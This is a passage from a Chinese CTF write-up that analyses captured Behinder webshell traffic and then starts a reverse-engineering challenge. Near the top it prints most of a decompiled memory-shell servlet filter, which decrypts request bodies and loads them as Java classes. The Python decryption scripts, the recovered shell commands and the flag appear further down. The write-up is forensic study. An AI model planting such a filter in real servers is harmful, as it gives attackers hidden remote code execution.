class="string">&quot;Success&quot;</span>;</span><br><span class="line">                <span class="type">String</span> <span class="variable">var26</span> <span class="operator">=</span> var25;</span><br><span class="line">                <span class="keyword">return</span> var26;</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception var23) &#123;</span><br><span class="line">                var11 = var23.getMessage();</span><br><span class="line">            &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                stateField.set(standardContext, LifecycleState.STARTED);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> var11;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;Filter already exists&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest req, ServletResponse resp, FilterChain chain)</span> <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        <span class="type">HttpSession</span> <span class="variable">session</span> <span class="operator">=</span> ((HttpServletRequest) req).getSession();</span><br><span class="line">        <span class="type">Object</span> <span class="variable">lastRequest</span> <span class="operator">=</span> req;</span><br><span class="line">        <span class="type">Object</span> <span class="variable">lastResponse</span> <span class="operator">=</span> resp;</span><br><span class="line">        Method getResponse;</span><br><span class="line">        <span class="keyword">if</span> (!(req <span class="keyword">instanceof</span> RequestFacade)) &#123;</span><br><span class="line">            getResponse = <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                getResponse = ServletRequestWrapper.class.getMethod(<span class="string">&quot;getRequest&quot;</span>);</span><br><span class="line"></span><br><span class="line">                <span class="keyword">for</span> (lastRequest = getResponse.invoke(<span class="built_in">this</span>.request); !(lastRequest <span class="keyword">instanceof</span> RequestFacade); lastRequest = getResponse.invoke(lastRequest)) &#123;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception var11) &#123;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (!(lastResponse <span class="keyword">instanceof</span> ResponseFacade)) &#123;</span><br><span class="line">                getResponse = ServletResponseWrapper.class.getMethod(<span class="string">&quot;getResponse&quot;</span>);</span><br><span class="line"></span><br><span class="line">                <span class="keyword">for</span> (lastResponse = getResponse.invoke(<span class="built_in">this</span>.response); !(lastResponse <span class="keyword">instanceof</span> ResponseFacade); lastResponse = getResponse.invoke(lastResponse)) &#123;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var10) &#123;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">Map</span> <span class="variable">obj</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">        obj.put(<span class="string">&quot;request&quot;</span>, lastRequest);</span><br><span class="line">        obj.put(<span class="string">&quot;response&quot;</span>, lastResponse);</span><br><span class="line">        obj.put(<span class="string">&quot;session&quot;</span>, session);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            session.putValue(<span class="string">&quot;u&quot;</span>, <span class="built_in">this</span>.Pwd);</span><br><span class="line">            <span class="type">Cipher</span> <span class="variable">c</span> <span class="operator">=</span> Cipher.getInstance(<span class="string">&quot;AES&quot;</span>);</span><br><span class="line">            c.init(<span class="number">2</span>, <span class="keyword">new</span> <span class="title class_">SecretKeySpec</span>(<span class="built_in">this</span>.Pwd.getBytes(), <span class="string">&quot;AES&quot;</span>));</span><br><span class="line">            (<span class="keyword">new</span> <span class="title class_">BehinderFilter</span>(<span class="built_in">this</span>.getClass().getClassLoader())).g(c.doFinal(<span class="built_in">this</span>.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var9) &#123;</span><br><span class="line">            var9.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">byte</span>[] base64Decode(String str) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.misc.BASE64Decoder&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span> (<span class="type">byte</span>[]) ((<span class="type">byte</span>[]) ((<span class="type">byte</span>[]) clazz.getMethod(<span class="string">&quot;decodeBuffer&quot;</span>, String.class).invoke(clazz.newInstance(), str)));</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var5) &#123;</span><br><span class="line">            <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;java.util.Base64&quot;</span>);</span><br><span class="line">            <span class="type">Object</span> <span class="variable">decoder</span> <span class="operator">=</span> clazz.getMethod(<span class="string">&quot;getDecoder&quot;</span>).invoke((Object) <span class="literal">null</span>);</span><br><span class="line">            <span class="keyword">return</span> (<span class="type">byte</span>[]) ((<span class="type">byte</span>[]) ((<span class="type">byte</span>[]) decoder.getClass().getMethod(<span class="string">&quot;decode&quot;</span>, String.class).invoke(decoder, str)));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(FilterConfig filterConfig)</span> <span class="keyword">throws</span> ServletException &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>他这里虽然内置了一个密钥，但是后面有一个从 header 中的 p 获取内容的过程</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object obj)</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.parseObj(obj);</span><br><span class="line">    <span class="built_in">this</span>.Pwd = md5(<span class="built_in">this</span>.request.getHeader(<span class="string">&quot;p&quot;</span>));</span><br><span class="line">    <span class="built_in">this</span>.path = <span class="built_in">this</span>.request.getHeader(<span class="string">&quot;path&quot;</span>);</span><br><span class="line">    <span class="type">StringBuffer</span> <span class="variable">output</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuffer</span>();</span><br><span class="line">    <span class="type">String</span> <span class="variable">tag_s</span> <span class="operator">=</span> <span class="string">&quot;-&gt;|&quot;</span>;</span><br><span class="line">    <span class="type">String</span> <span class="variable">tag_e</span> <span class="operator">=</span> <span class="string">&quot;|&lt;-&quot;</span>;</span><br></pre></td></tr></table></figure><p>找到上面的请求，发现 p 为 <code>HWmc2TLDoihdlr0N</code>，算一下真正的密钥</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.math.BigInteger;</span><br><span class="line"><span class="keyword">import</span> java.security.MessageDigest;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">getkey</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">ret</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span> <span class="string">&quot;HWmc2TLDoihdlr0N&quot;</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">MessageDigest</span> <span class="variable">m</span> <span class="operator">=</span> MessageDigest.getInstance(<span class="string">&quot;MD5&quot;</span>);</span><br><span class="line">            m.update(s.getBytes(), <span class="number">0</span>, s.length());</span><br><span class="line">            ret = (<span class="keyword">new</span> <span class="title class_">BigInteger</span>(<span class="number">1</span>, m.digest())).toString(<span class="number">16</span>).substring(<span class="number">0</span>, <span class="number">16</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var3) &#123;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        System.out.println(ret);    <span class="comment">// 1f2c8075acd3d118</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>查看 TCP 数据包，尝试以 404225 pkt 为例</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image3.png"></p><p>用上面找到的 key 发现可以解码</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/58adef52-5e09-4207-9a7f-13cd1d436b06-1773638763301-3.png"></p><p>后面有一堆 <code>/favicondemo.ico</code> 的路径请求，已经拿到了密钥，尝试全部提取出来</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260316131946889.png"></p><p>做一点小清理</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"></span><br><span class="line">carrige_mark = <span class="literal">True</span></span><br><span class="line">data = []</span><br><span class="line">tmp = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;behinder.txt&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;behinder-output.txt&quot;</span>, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> output:</span><br><span class="line">        <span class="keyword">for</span> line <span class="keyword">in</span> tqdm(f.readlines()):</span><br><span class="line">            <span class="keyword">if</span> carrige_mark <span class="keyword">and</span> <span class="keyword">not</span> line.startswith(<span class="string">&quot;\n&quot;</span>):  <span class="comment"># 开始读入数据</span></span><br><span class="line">                carrige_mark = <span class="literal">False</span></span><br><span class="line">                tmp += line.strip()</span><br><span class="line">            <span class="keyword">elif</span> <span class="keyword">not</span> carrige_mark <span class="keyword">and</span> line.startswith(<span class="string">&quot;\n&quot;</span>):  <span class="comment"># 结束读入数据</span></span><br><span class="line">                carrige_mark = <span class="literal">True</span></span><br><span class="line">                <span class="keyword">if</span> tmp:</span><br><span class="line">                    data.append(<span class="built_in">bytes</span>.fromhex(<span class="string">&quot;&quot;</span>.join(tmp)))</span><br><span class="line">                tmp = <span class="string">&quot;&quot;</span></span><br><span class="line">            <span class="keyword">elif</span> <span class="keyword">not</span> carrige_mark <span class="keyword">and</span> <span class="keyword">not</span> line.startswith(<span class="string">&quot;\n&quot;</span>):  <span class="comment"># 继续读入数据</span></span><br><span class="line">                tmp += line.strip()</span><br><span class="line">        output.write(<span class="string">&quot;\n&quot;</span>.join([x.decode() <span class="keyword">for</span> x <span class="keyword">in</span> data]))</span><br></pre></td></tr></table></figure><p>然后统一解密一下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.Padding <span class="keyword">import</span> unpad, pad</span><br><span class="line"></span><br><span class="line">cipher = AES.new(<span class="string">b&#x27;1f2c8075acd3d118&#x27;</span>, AES.MODE_ECB)</span><br><span class="line">count = <span class="number">1</span></span><br><span class="line"></span><br><span class="line">data = []</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;behinder-output.txt&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">not</span> line.startswith(<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">            <span class="keyword">and</span> <span class="keyword">not</span> line.startswith(<span class="string">&quot;POST&quot;</span>)</span><br><span class="line">            <span class="keyword">and</span> <span class="keyword">not</span> line.startswith(<span class="string">&quot;Accept&quot;</span>)</span><br><span class="line">            <span class="keyword">and</span> <span class="keyword">not</span> line.startswith(<span class="string">&quot;Referer&quot;</span>)</span><br><span class="line">            <span class="keyword">and</span> <span class="keyword">not</span> line.startswith(<span class="string">&quot;User-Agent&quot;</span>)</span><br><span class="line">            <span class="keyword">and</span> <span class="keyword">not</span> line.startswith(<span class="string">&quot;Content&quot;</span>)</span><br><span class="line">            <span class="keyword">and</span> <span class="keyword">not</span> line.startswith(<span class="string">&quot;Host&quot;</span>)</span><br><span class="line">            <span class="keyword">and</span> <span class="keyword">not</span> line.startswith(<span class="string">&quot;Connection&quot;</span>)</span><br><span class="line">            <span class="keyword">and</span> <span class="keyword">not</span> line.startswith(<span class="string">&quot;Cookie&quot;</span>)):</span><br><span class="line">                <span class="keyword">try</span>:</span><br><span class="line">                    data = line.strip()</span><br><span class="line">                    raw = base64.b64decode(data)</span><br><span class="line">                    dec = cipher.decrypt(raw)</span><br><span class="line">                    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">f&quot;bout/traffic<span class="subst">&#123;count&#125;</span>.class&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> out:</span><br><span class="line">                        out.write(dec)</span><br><span class="line">                    count += <span class="number">1</span></span><br><span class="line">                <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">&quot;Error processing line:&quot;</span>, line[:<span class="number">100</span>])</span><br><span class="line">                    <span class="built_in">print</span>(e)</span><br><span class="line">            </span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;plaindata.txt&quot;</span>, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> out:</span><br><span class="line">    out.write(<span class="string">&quot;\n&quot;</span>.join(data))</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;plaindata.txt&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">f&quot;bout/traffic<span class="subst">&#123;count&#125;</span>.class&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> out:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                data = line.strip()</span><br><span class="line">                raw = base64.b64decode(data)</span><br><span class="line">                dec = cipher.decrypt(raw)</span><br><span class="line">                out.write(dec)</span><br><span class="line">                count += <span class="number">1</span></span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;Error processing line:&quot;</span>, line[:<span class="number">100</span>])</span><br><span class="line">                <span class="built_in">print</span>(e)</span><br></pre></td></tr></table></figure><p>虽然会报 Incorrect Padding 的错误，但是能出来，一共 291 个</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260316132108619.png"></p><p>没时间看了 lose</p><h3 id="赛后"><a href="#赛后" class="headerlink" title="赛后"></a>赛后</h3><p>发现文件大小有点不一样</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/explorer_nsnXgFv8AD.png"></p><p>按顺序先看最后几个，发现有 AES KEY &#x3D;&gt; <code>IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=</code></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/Code_kWTxPK46gD.png"></p><p>往后没有 HTTP 通信，可以认为是直接冰蝎 webshell 了，往下追踪 TCP 请求</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/Wireshark_G30NhdMD6e.png"></p><p>但是我个人试了 ECB 发现出不来，题目也没有给出 iv，猜测 iv &#x3D; key[:16] 还是出不来，参考了一下别人的思路</p><blockquote><p>Reference: <a href="https://www.iyoroy.cn/archives/260/">https://www.iyoroy.cn/archives/260/</a></p></blockquote><p>是 AES.GCM，了解了一下，GCM 模式下会进行这样的组合</p><ul><li>前 12 字节：Nonce，一个唯一的随机数（向量）</li><li>后 16 字节：Tag，用于认证，确保数据的准确性</li><li>其他：密文</li></ul><p>所以这里要把这几个部分给拿出来，得到了这样的代码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"></span><br><span class="line">AES_MODE = AES.MODE_GCM</span><br><span class="line"></span><br><span class="line">key = base64.b64decode(<span class="string">&quot;IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=&quot;</span>)</span><br><span class="line">iv = key[:<span class="number">16</span>]</span><br><span class="line"></span><br><span class="line">raw = <span class="string">&quot;&quot;&quot;1f000000</span></span><br><span class="line"><span class="string">33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a</span></span><br><span class="line"><span class="string">24000000</span></span><br><span class="line"><span class="string">5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c</span></span><br><span class="line"><span class="string">1e000000</span></span><br><span class="line"><span class="string">e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234</span></span><br><span class="line"><span class="string">1f000000</span></span><br><span class="line"><span class="string">bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f</span></span><br><span class="line"><span class="string">30000000</span></span><br><span class="line"><span class="string">be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871</span></span><br><span class="line"><span class="string">2b000000</span></span><br><span class="line"><span class="string">2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a</span></span><br><span class="line"><span class="string">6e000000</span></span><br><span class="line"><span class="string">8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95</span></span><br><span class="line"><span class="string">69000000</span></span><br><span class="line"><span class="string">5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5</span></span><br><span class="line"><span class="string">24000000</span></span><br><span class="line"><span class="string">410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6</span></span><br><span class="line"><span class="string">1f000000</span></span><br><span class="line"><span class="string">7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">data = [<span class="built_in">bytes</span>.fromhex(_) <span class="keyword">for</span> _ <span class="keyword">in</span> raw.split(<span class="string">&quot;\n&quot;</span>)]</span><br><span class="line"><span class="keyword">for</span> _ <span class="keyword">in</span> data:</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">len</span>(_))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> _ <span class="keyword">in</span> data:</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(_) == <span class="number">4</span>:  <span class="comment"># 认为是指令</span></span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    nonce = _[:<span class="number">12</span>]</span><br><span class="line">    tag = _[-<span class="number">16</span>:]</span><br><span class="line">    ciphertext = _[<span class="number">12</span>:-<span class="number">16</span>]</span><br><span class="line">    cipher = AES.new(key, AES_MODE, nonce)</span><br><span class="line">    result = cipher.decrypt_and_verify(ciphertext, tag)</span><br><span class="line">    <span class="built_in">print</span>(result.decode())</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>出来的结果为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">pwd</span><br><span class="line">/var/tmp</span><br><span class="line">ls</span><br><span class="line">out</span><br><span class="line">echo Congratulations</span><br><span class="line">Congratulations</span><br><span class="line">echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi</span><br><span class="line">3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi</span><br><span class="line">echo bye</span><br><span class="line">bye</span><br></pre></td></tr></table></figure><p>这里有一段 echo，直接拿出来，启动赛博厨子，自动识别是 base58 + base64</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/msedge_QDcT6tB69U.png"></p><p>至此，得到了 flag 为 <code>dart&#123;d9850b27-85cb-4777-85e0-df0b78fdb722&#125;</code></p><h1 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h1><h2 id="re1"><a href="#re1" class="headerlink" title="re1"></a>re1</h2><p>用 IDA 打开给定的文件，发现里面硬编码了一个 pyc，表为 <code>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/</code></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314112538402.png"></p><p>直接用 CyberChef 给转一下</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314112642317.png"></p><p>保存 pyc 文件，用 file 看一下发现是 python 3.7</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314112729396.png"></p><p>直接用 pylingual，反编译得到源码，稍微看一下并加一点注释</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Decompiled with PyLingual (https://pylingual.io)</span></span><br><span class="line"><span class="comment"># Internal filename: &#x27;Payload_To_PixelCode_video.py&#x27;</span></span><br><span class="line"><span class="comment"># Bytecode version: 3.7.0 (3394)</span></span><br><span class="line"><span class="comment"># Source timestamp: 2026-01-04 04:02:18 UTC (1767499338)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">import</span> math</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">import</span> imageio</span><br><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">file_to_video</span>(<span class="params">input_file, width=<span class="number">640</span>, height=<span class="number">480</span>, pixel_size=<span class="number">8</span>, fps=<span class="number">10</span>, output_file=<span class="string">&#x27;video.mp4&#x27;</span></span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> os.path.isfile(input_file):</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    file_size = os.path.getsize(input_file)</span><br><span class="line">    binary_string = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(input_file, <span class="string">&#x27;rb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        <span class="keyword">for</span> chunk <span class="keyword">in</span> tqdm(iterable=<span class="built_in">iter</span>(<span class="keyword">lambda</span>: f.read(<span class="number">1024</span>), <span class="string">b&#x27;&#x27;</span>), total=math.ceil(file_size / <span class="number">1024</span>), unit=<span class="string">&#x27;KB&#x27;</span>, desc=<span class="string">&#x27;读取文件&#x27;</span>):</span><br><span class="line">            binary_string += <span class="string">&#x27;&#x27;</span>.join((<span class="string">f&#x27;<span class="subst">&#123;byte:08b&#125;</span>&#x27;</span> <span class="keyword">for</span> byte <span class="keyword">in</span> chunk))</span><br><span class="line">    xor_key = <span class="string">&#x27;10101010&#x27;</span>    <span class="comment"># 异或密钥</span></span><br><span class="line">    xor_binary_string = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(binary_string), <span class="number">8</span>):</span><br><span class="line">        chunk = binary_string[i:i + <span class="number">8</span>]  <span class="comment"># 每8位为一个像素点</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(chunk) == <span class="number">8</span>:</span><br><span class="line">            chunk_int = <span class="built_in">int</span>(chunk, <span class="number">2</span>)   <span 